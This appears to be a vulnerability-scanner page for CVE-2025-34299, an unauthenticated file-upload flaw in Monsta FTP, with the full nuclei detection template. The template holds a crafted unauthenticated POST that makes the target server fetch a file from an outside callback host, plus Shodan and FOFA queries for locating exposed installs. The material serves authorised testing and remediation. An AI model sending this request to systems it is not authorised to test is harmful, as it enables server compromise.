Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution

criticalseverity

9.8CVSS score

72.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files.

Impact

Unauthenticated attackers can upload malicious files to execute arbitrary code, potentially compromising the server.

Fix

Update to the latest version beyond 2.11.

How to confirm it

Send: GET {{BaseURL}}/mftp/ ; GET {{BaseURL}}/
Positive when: status_code == 200 and contains(body, "MonstaFTP")
Send: POST {{BaseURL}}/mftp/application/api/api.php
Positive when: contains in interactsh_protocol "dns" AND compare_versions(version, "<= 2.11.2")

Run it with nuclei: nuclei -id CVE-2025-34299 -u <target>

The full check

id: CVE-2025-34299

info:
  name: Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution
  author: KrE80r
  severity: critical
  description: |
    Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files.
  impact: |
    Unauthenticated attackers can upload malicious files to execute arbitrary code, potentially compromising the server.
  remediation: |
    Update to the latest version beyond 2.11.
  reference:
    - https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/
    - https://github.com/advisories/GHSA-42m5-3r2p-wr92
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34299
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34299
    epss-score: 0.7268
    epss-percentile: 0.9945
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    vendor: monstaftp
    product: monsta_ftp
    shodan-query: http.title:"Monsta FTP"
    fofa-query: title="Monsta FTP"
  tags: cve,cve2025,monsta,ftp,rce,unauth,file-upload,intrusive,oast,oob,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mftp/"
      - "{{BaseURL}}/"

    stop-at-first-match: true

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "MonstaFTP")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'monsta-min-([0-9.]+)\.js'
        internal: true

  - raw:
      - |
        POST {{BaseURL}}/mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        request={"connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","username":"nuclei-oast","initialDirectory":"/","password":"test","port":21},"actionName":"downloadFile","context":{"remotePath":"/test.txt","localPath":"/tmp/nuclei-oast-test.txt"}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 2.11.2")'

    extractors:
      - type: kval
        kval:
          - version

References

Use this check only on systems you are authorised to test. Where the data comes from